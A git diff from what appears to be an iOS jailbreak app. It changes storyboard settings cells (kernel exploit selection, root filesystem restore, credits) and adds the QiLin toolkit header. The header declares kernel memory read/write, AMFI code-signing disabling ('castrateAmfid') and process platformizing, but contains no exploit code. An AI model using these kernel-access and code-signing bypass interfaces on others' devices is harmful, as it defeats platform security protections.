<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
</tableViewCell>
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" selectionStyle="blue" hidesAccessoryWhenEditing="NO" indentationLevel="1" indentationWidth="0.0" id="DTa-Xu-fsT">
<rect key="frame" x="0.0" y="1087" width="320" height="44"/>
<rect key="frame" x="0.0" y="999" width="320" height="44"/>
<autoresizingMask key="autoresizingMask"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="DTa-Xu-fsT" id="krI-4z-ctw">
<rect key="frame" x="0.0" y="0.0" width="320" height="43.5"/>
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
<autoresizingMask key="autoresizingMask"/>
<subviews>
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="left" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="j3u-pn-SGo">
@@ -1015,10 +934,10 @@
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
</tableViewCell>
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" selectionStyle="blue" hidesAccessoryWhenEditing="NO" indentationLevel="1" indentationWidth="0.0" id="LaS-Im-6eS">
<rect key="frame" x="0.0" y="1131" width="320" height="44"/>
<rect key="frame" x="0.0" y="1043" width="320" height="44"/>
<autoresizingMask key="autoresizingMask"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="LaS-Im-6eS" id="dcQ-Ib-8Mg">
<rect key="frame" x="0.0" y="0.0" width="320" height="43.5"/>
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
<autoresizingMask key="autoresizingMask"/>
<subviews>
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="left" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="m4Q-Ej-PFv">
@@ -1039,10 +958,10 @@
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
</tableViewCell>
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" selectionStyle="blue" hidesAccessoryWhenEditing="NO" indentationLevel="1" indentationWidth="0.0" id="yX4-Fp-ygw">
<rect key="frame" x="0.0" y="1175" width="320" height="44"/>
<rect key="frame" x="0.0" y="1087" width="320" height="44"/>
<autoresizingMask key="autoresizingMask"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="yX4-Fp-ygw" id="jeW-Es-OSZ">
<rect key="frame" x="0.0" y="0.0" width="320" height="43.5"/>
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
<autoresizingMask key="autoresizingMask"/>
<subviews>
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="left" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="eJw-Wg-0Qe">
@@ -1063,10 +982,10 @@
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
</tableViewCell>
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" selectionStyle="blue" hidesAccessoryWhenEditing="NO" indentationLevel="1" indentationWidth="0.0" id="N5h-RW-loI">
<rect key="frame" x="0.0" y="1219" width="320" height="44"/>
<rect key="frame" x="0.0" y="1131" width="320" height="44"/>
<autoresizingMask key="autoresizingMask"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="N5h-RW-loI" id="yqV-gg-joY">
<rect key="frame" x="0.0" y="0.0" width="320" height="43.5"/>
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
<autoresizingMask key="autoresizingMask"/>
<subviews>
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="left" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="2T7-5o-whm">
@@ -1087,10 +1006,10 @@
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
</tableViewCell>
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" selectionStyle="blue" hidesAccessoryWhenEditing="NO" indentationLevel="1" indentationWidth="0.0" id="5p2-OT-Rp8">
<rect key="frame" x="0.0" y="1263" width="320" height="44"/>
<rect key="frame" x="0.0" y="1175" width="320" height="44"/>
<autoresizingMask key="autoresizingMask"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="5p2-OT-Rp8" id="psM-OR-RxD">
<rect key="frame" x="0.0" y="0.0" width="320" height="43.5"/>
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
<autoresizingMask key="autoresizingMask"/>
<subviews>
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="left" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="sBD-7B-tON">
@@ -1111,10 +1030,10 @@
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
</tableViewCell>
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" selectionStyle="blue" hidesAccessoryWhenEditing="NO" indentationLevel="1" indentationWidth="0.0" id="G9h-ne-rnX">
<rect key="frame" x="0.0" y="1307" width="320" height="44"/>
<rect key="frame" x="0.0" y="1219" width="320" height="44"/>
<autoresizingMask key="autoresizingMask"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="G9h-ne-rnX" id="WdA-qm-GQq">
<rect key="frame" x="0.0" y="0.0" width="320" height="43.5"/>
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
<autoresizingMask key="autoresizingMask"/>
<subviews>
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="left" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="UTa-KC-4fJ">
@@ -1134,11 +1053,35 @@
</tableViewCellContentView>
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
</tableViewCell>
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" selectionStyle="blue" hidesAccessoryWhenEditing="NO" indentationLevel="1" indentationWidth="0.0" id="tfv-Vm-1FT">
<rect key="frame" x="0.0" y="1263" width="320" height="44"/>
<autoresizingMask key="autoresizingMask"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="tfv-Vm-1FT" id="eVL-nP-fxQ">
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
<autoresizingMask key="autoresizingMask"/>
<subviews>
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="left" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="ZTH-kT-ApL">
<rect key="frame" x="15" y="5.5" width="320" height="33"/>
<fontDescription key="fontDescription" type="system" pointSize="17"/>
<state key="normal" title="Get Technical Support"/>
<connections>
<action selector="tappedOnGetTechnicalSupport:" destination="ScN-Hx-Um8" eventType="touchUpInside" id="HCb-6q-Jvq"/>
</connections>
</button>
</subviews>
<constraints>
<constraint firstItem="ZTH-kT-ApL" firstAttribute="leading" secondItem="eVL-nP-fxQ" secondAttribute="leading" constant="15" id="ELH-0f-Z8G"/>
<constraint firstItem="ZTH-kT-ApL" firstAttribute="width" secondItem="eVL-nP-fxQ" secondAttribute="width" id="G7X-9K-1N5"/>
<constraint firstItem="ZTH-kT-ApL" firstAttribute="centerY" secondItem="eVL-nP-fxQ" secondAttribute="centerY" id="ry9-fd-4Or"/>
</constraints>
</tableViewCellContentView>
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
</tableViewCell>
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" selectionStyle="blue" hidesAccessoryWhenEditing="NO" indentationLevel="1" indentationWidth="0.0" id="meU-ko-WL5">
<rect key="frame" x="0.0" y="1351" width="320" height="44"/>
<rect key="frame" x="0.0" y="1307" width="320" height="44"/>
<autoresizingMask key="autoresizingMask"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="meU-ko-WL5" id="d4g-il-Gek">
<rect key="frame" x="0.0" y="0.0" width="320" height="43.5"/>
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
<autoresizingMask key="autoresizingMask"/>
<subviews>
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="left" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="zPL-cO-2ug">
@@ -1175,7 +1118,6 @@
<outlet property="ECIDLabel" destination="s5y-Jh-zXs" id="fp0-05-Dgr"/>
<outlet property="ExpiryLabel" destination="Ggb-8F-dfb" id="Dh4-If-9ID"/>
<outlet property="ExportKernelTaskPortSwitch" destination="HCT-C6-X9W" id="1iJ-hC-FYO"/>
<outlet property="HideLogWindowSwitch" destination="okw-vN-Hf5" id="bNO-DC-3Nn"/>
<outlet property="IncreaseMemoryLimitSwitch" destination="su4-yz-yLP" id="m13-Wn-tVi"/>
<outlet property="KernelExploitSegmentedControl" destination="6Xx-ol-UYF" id="O8d-hv-ElQ"/>
<outlet property="LoadDaemonsSwitch" destination="sUh-Nj-0hf" id="rbY-Ms-vpR"/>
@@ -1183,7 +1125,6 @@
<outlet property="OverwriteBootNonceSwitch" destination="5W0-39-WKV" id="baD-it-yNn"/>
<outlet property="RefreshIconCacheSwitch" destination="E0P-lH-E3m" id="UVF-BM-lu5"/>
<outlet property="ReloadSystemDaemonsSwitch" destination="dZz-WS-G1u" id="zAs-NI-nkc"/>
<outlet property="ResetCydiaCacheSwitch" destination="5ao-Ni-cdG" id="qLZ-1Y-2nV"/>
<outlet property="RestartSpringBoardButton" destination="sBD-7B-tON" id="T9J-Es-GVJ"/>
<outlet property="RestoreRootFSSwitch" destination="Vce-QD-qkd" id="Psh-NM-sAb"/>
<outlet property="ShareDiagnosticsDataButton" destination="j3u-pn-SGo" id="0cM-Vu-e4I"/>
@@ -1412,66 +1353,8 @@
</tableViewCellContentView>
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
</tableViewCell>
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="Cuw-PU-QEk">
<rect key="frame" x="0.0" y="363.5" width="320" height="44"/>
<autoresizingMask key="autoresizingMask"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="Cuw-PU-QEk" id="3TA-8t-qeH">
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
<autoresizingMask key="autoresizingMask"/>
<subviews>
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="left" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="3Lp-u8-4iC">
<rect key="frame" x="15" y="7" width="180" height="30"/>
<constraints>
<constraint firstAttribute="height" constant="30" id="Jkn-Am-IeL"/>
<constraint firstAttribute="width" relation="greaterThanOrEqual" constant="123" id="bfq-ZZ-g7f"/>
</constraints>
<fontDescription key="fontDescription" type="system" pointSize="17"/>
<state key="normal" title="@saurik (Development)">
<color key="titleColor" white="0.0" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
</state>
<connections>
<action selector="tappedOnSaurik:" destination="uGG-wM-8Jf" eventType="touchUpInside" id="b3p-6S-SFc"/>
</connections>
</button>
</subviews>
<constraints>
<constraint firstItem="3Lp-u8-4iC" firstAttribute="centerY" secondItem="3TA-8t-qeH" secondAttribute="centerY" id="ptm-SG-kri"/>
<constraint firstItem="3Lp-u8-4iC" firstAttribute="leading" secondItem="3TA-8t-qeH" secondAttribute="leading" constant="15" id="xKv-jI-0uk"/>
</constraints>
</tableViewCellContentView>
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
</tableViewCell>
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="71Y-RI-rkO">
<rect key="frame" x="0.0" y="407.5" width="320" height="44"/>
<autoresizingMask key="autoresizingMask"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="71Y-RI-rkO" id="JkI-Hz-Df6">
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
<autoresizingMask key="autoresizingMask"/>
<subviews>
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="left" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="pKD-a4-xWL">
<rect key="frame" x="15" y="5.5" width="196" height="33"/>
<constraints>
<constraint firstAttribute="width" relation="greaterThanOrEqual" constant="77" id="OAn-z2-lOQ"/>
<constraint firstAttribute="height" constant="33" id="w4f-wL-yAV"/>
</constraints>
<fontDescription key="fontDescription" type="system" pointSize="17"/>
<state key="normal" title="@FCE365 (Development)">
<color key="titleColor" white="0.0" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
</state>
<connections>
<action selector="tappedOnGeoSn0w:" destination="uGG-wM-8Jf" eventType="touchUpInside" id="RlH-0W-aHM"/>
</connections>
</button>
</subviews>
<constraints>
<constraint firstItem="pKD-a4-xWL" firstAttribute="leading" secondItem="JkI-Hz-Df6" secondAttribute="leading" constant="15" id="PJE-BB-FDW"/>
<constraint firstItem="pKD-a4-xWL" firstAttribute="centerY" secondItem="JkI-Hz-Df6" secondAttribute="centerY" id="a5b-8V-Ikv"/>
</constraints>
</tableViewCellContentView>
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
</tableViewCell>
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="NfW-x4-NDs">
<rect key="frame" x="0.0" y="451.5" width="320" height="44"/>
<rect key="frame" x="0.0" y="363.5" width="320" height="44"/>
<autoresizingMask key="autoresizingMask"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="NfW-x4-NDs" id="XYe-kQ-1Jy">
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
@@ -1500,10 +1383,10 @@
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
</tableViewCell>
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="TTa-w8-C7e">
<rect key="frame" x="0.0" y="495.5" width="320" height="44"/>
<rect key="frame" x="0.0" y="407.5" width="320" height="44"/>
<autoresizingMask key="autoresizingMask"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="TTa-w8-C7e" id="4S5-oW-IMo">
<rect key="frame" x="0.0" y="0.0" width="320" height="43.5"/>
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
<autoresizingMask key="autoresizingMask"/>
<subviews>
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="left" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="H4Q-eb-ujP">
@@ -1529,10 +1412,10 @@
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
</tableViewCell>
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="afy-0W-0PF">
<rect key="frame" x="0.0" y="539.5" width="320" height="44"/>
<rect key="frame" x="0.0" y="451.5" width="320" height="44"/>
<autoresizingMask key="autoresizingMask"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="afy-0W-0PF" id="2wb-pY-dn2">
<rect key="frame" x="0.0" y="0.0" width="320" height="43.5"/>
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
<autoresizingMask key="autoresizingMask"/>
<subviews>
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="left" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="Tws-vS-kLC">
@@ -1558,7 +1441,7 @@
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
</tableViewCell>
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="CFc-nb-uKC">
<rect key="frame" x="0.0" y="583.5" width="320" height="44"/>
<rect key="frame" x="0.0" y="495.5" width="320" height="44"/>
<autoresizingMask key="autoresizingMask"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="CFc-nb-uKC" id="c4i-Lb-Ci9">
<rect key="frame" x="0.0" y="0.0" width="320" height="43.5"/>
@@ -1587,7 +1470,7 @@
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
</tableViewCell>
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="djf-Cy-L0f">
<rect key="frame" x="0.0" y="627.5" width="320" height="44"/>
<rect key="frame" x="0.0" y="539.5" width="320" height="44"/>
<autoresizingMask key="autoresizingMask"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="djf-Cy-L0f" id="Rdg-LP-0nV">
<rect key="frame" x="0.0" y="0.0" width="320" height="43.5"/>
@@ -1615,8 +1498,37 @@
</tableViewCellContentView>
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
</tableViewCell>
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="71Y-RI-rkO">
<rect key="frame" x="0.0" y="583.5" width="320" height="44"/>
<autoresizingMask key="autoresizingMask"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="71Y-RI-rkO" id="JkI-Hz-Df6">
<rect key="frame" x="0.0" y="0.0" width="320" height="43.5"/>
<autoresizingMask key="autoresizingMask"/>
<subviews>
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="left" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="pKD-a4-xWL">
<rect key="frame" x="15" y="5.5" width="150" height="33"/>
<constraints>
<constraint firstAttribute="width" relation="greaterThanOrEqual" constant="77" id="OAn-z2-lOQ"/>
<constraint firstAttribute="height" constant="33" id="w4f-wL-yAV"/>
</constraints>
<fontDescription key="fontDescription" type="system" pointSize="17"/>
<state key="normal" title="@FCE365 (Testing)">
<color key="titleColor" white="0.0" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
</state>
<connections>
<action selector="tappedOnGeoSn0w:" destination="uGG-wM-8Jf" eventType="touchUpInside" id="RlH-0W-aHM"/>
</connections>
</button>
</subviews>
<constraints>
<constraint firstItem="pKD-a4-xWL" firstAttribute="leading" secondItem="JkI-Hz-Df6" secondAttribute="leading" constant="15" id="PJE-BB-FDW"/>
<constraint firstItem="pKD-a4-xWL" firstAttribute="centerY" secondItem="JkI-Hz-Df6" secondAttribute="centerY" id="a5b-8V-Ikv"/>
</constraints>
</tableViewCellContentView>
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
</tableViewCell>
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="AGm-v9-SAz">
<rect key="frame" x="0.0" y="671.5" width="320" height="44"/>
<rect key="frame" x="0.0" y="627.5" width="320" height="44"/>
<autoresizingMask key="autoresizingMask"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="AGm-v9-SAz" id="u6w-tl-T7u">
<rect key="frame" x="0.0" y="0.0" width="320" height="43.5"/>
@@ -1645,7 +1557,7 @@
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
</tableViewCell>
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="SeN-mT-hYg">
<rect key="frame" x="0.0" y="715.5" width="320" height="44"/>
<rect key="frame" x="0.0" y="671.5" width="320" height="44"/>
<autoresizingMask key="autoresizingMask"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="SeN-mT-hYg" id="BUb-hq-LYk">
<rect key="frame" x="0.0" y="0.0" width="320" height="43.5"/>
@@ -1674,7 +1586,7 @@
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
</tableViewCell>
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="2wN-5M-FuK">
<rect key="frame" x="0.0" y="759.5" width="320" height="44"/>
<rect key="frame" x="0.0" y="715.5" width="320" height="44"/>
<autoresizingMask key="autoresizingMask"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="2wN-5M-FuK" id="qsg-EE-xwA">
<rect key="frame" x="0.0" y="0.0" width="320" height="43.5"/>
+251
View File
@@ -0,0 +1,251 @@
//
// jjt.h
// QiLin
//
// Created by JL on 12/7/17.
// Copyright © 2017 NewOSXBook. All rights reserved.
// Revision 3: Added spawnAndPlatformize(),
// moved to posix_spawn() implementation for exec() family
// actually exported the set*Reporter functions (formerly ErrorHandler.. etc -
// "Reporter" is more accurate, because they allow you to propagate messages to
// a GUI.
//
// Revision 4: Added kexec (executeInKernel)
//
// Revision 5: KMR/KMW (Kernel memory read/write) functions weren't exported! Oops!
//
// Revision 6: RootFS mount, fixed bug in getting symbols (no longer needs setKernelSymbol)
// and added respring
// and also added uint64_t getVnodeByPathName (char *Path) ;
//
// (Almost) free to use (ABSE) per the license in http://NewOSXBook.com/QiLin/
//
// Remember to give credit where due and please tweet with #QiLin
// so others can quickly find your JailBreak or other project.
//
#if 0
Johnny's (semi) open source license, v0.4
-----------------------------------------
This is (well, will be, at the time of writing) open source, and I can't but appeal to your sense of decency.
You might try compile this and try to pass it as your own. Heck, you might even try to run it through llvm-obfuscator.
But that would be stealing code. And obfuscate as you will, you can't obfuscate enough to hide the methods.
So, primum non nocere. Do no harm, and do not steal.
To be fully clear:
- Yes, you may use this source or code library as you see fit, PROVIDED THAT:
- IT IS NOT USED COMMERCIALLY IN ANY WAY. For this, I ask that you contact my company, @Technologeeks,
and ask for proper licensing - they'll also provide official support.
- IT IS NOT USED AS A COMPONENT OF AN APT IN ANY KIND FORM OR MANNER.
(NSO/Hackin9/Finfisher/Equus/etc - that means you)
- WHEN YOU DO USE IT, I ASK THAT YOU MENTION THAT YOUR TOOL IS "powered by the QiLin Toolkit",
or otherwise provide a user facing indication that it is using this code.
I'd appreciate it if you tweeted with #QiLin, too.
- If you spread lies about other people, propaganda or false claims, while using this toolkit,
then you must renounce your ways, and apologize. Then you can use it freely.
- There are no limitation on nationality, specific people exclusions (i.e. this is AISE, subject to last condition, above ;-),
or any other race, color or creed - provided the above are met.
- QiLin comes with NO LIABILITY WHATSOEVER. YOU USE THIS AT YOUR OWN RISK.
I CANNOT AND WILL NOT BE HELD ACCOUNTABLE FOR ANY DAMAGE, SOFTWARE OR HARDWARE OR YOUR DATA OR OTHERWISE,
WHICH MAY OR MAY NOT RESULT TO YOUR IOS DEVICE BY USING THIS.
- Remember I'm doing this AS A FAVOR. I AM NO IN WAY INDEBTED OR COMMITTED TO SUPPORT THIS, OR ANY OTHER OF MY TOOLS.
You don't have to thank for this (you're welcome) but please don't slander me either.
- Should you wish to contribute/donate, you may do so in one of the following ways:
- Monetary: Pick a charity. Any charity. Of your choice. Pay them however money you want.
Optionally, tweet/fb/insta/snap-whatever a screen capture stating "#QiLin".
- Development: Through http://NewOSXBook.com/forum - you are welcome to ask (proper technical, not lame wen eta)
questions and engage in discussions
First, do no harm. Next, have fun :-)
Changelog:
- v0.1 Was AISE but SE is being more of an ass than usual and slandering fake claims directly attacking me.
So this was updated with new condition excluding him until he grows up and behaves like the decent,
talented researcher he can be.
- v0.3 adds request to tweet #QiLin.
- v0.4 states what should be obvious - NO LIABILITY WHATSOEVER
#endif
#ifndef qilin_h
#define qilin_h
#include <mach/mach.h>
#include <unistd.h>
#include <stdlib.h>
char *getMachine (void);
char *getOSVer(void);
typedef int (*KMRFunc)(uint64_t Address, uint64_t Len, void **To);
typedef int (*KMWFunc)(uint64_t Address, uint64_t Len, void *From);
void setKernelMemoryReadFunction(KMRFunc F);
void setKernelMemoryWriteFunction(KMWFunc F);
// MUST call either initQiLin variant first - with or without TFP0, though, that's your call.
int initQiLin (mach_port_t TFP0, uint64_t KernelBase);
int initQiLinWithKMRW(uint64_t KernelBase, KMRFunc Kmr, KMWFunc Kmw);
int initQilinWithTFP0AndMyTaskPortAddr(mach_port_t TFP0, uint64_t MyTaskPortAddr);
// System wide effects
//
int remountRootFS (void);
int reSpring (void); // @FCE365 - this is for you
pid_t execCommand(char *Cmd, char *Arg1, char *Arg2, char *Arg3, char *Arg4, char *Arg5 , int Flags);
int execCommandAndWait(char *Cmd, char *Arg1, char *Arg2, char *Arg3, char *Arg4, char *Arg5);
int setTFP0AsHostSpecialPort4 (void);
// 1/17/18 - This is super useful
int spawnAndPlatformize (char *AmfidebPath, char *Arg1, char *Arg2, char *Arg3 , char *Arg4, char *Arg5);
int spawnAndShaiHulud (char *AmfidebPath, char *Arg1, char *Arg2, char *Arg3 , char *Arg4, char *Arg5);
int moveFileFromAppDir (char *File, char *Dest);
int disableAutoUpdates(void);
// Code signing
// Will set AMFId's exception ports and thereby disable code signing
//
int castrateAmfid (void);
// Utility function - you probably won't need this directly.
#define ALGORITHM_SHA256 2
#define ALGORITHM_SHA1 1
char *cdHashOfFile(char *fileName,int Algorithm); // Calculate CDHash of a given Mach-O (for messing with AMFI)
// Kernel Memory access (wrappers over kernel_task send right)
uint64_t findKernelSymbol (char *Symbol);
void setKernelSymbol (char *Symbol, uint64_t Address); // NOTE: "_kernproc", not "kernproc"
int readKernelMemory(uint64_t Address, uint64_t Len, void **To);
int writeKernelMemory(uint64_t Address, uint64_t Len, void *From);
// 03/20/2018: Kernel execution
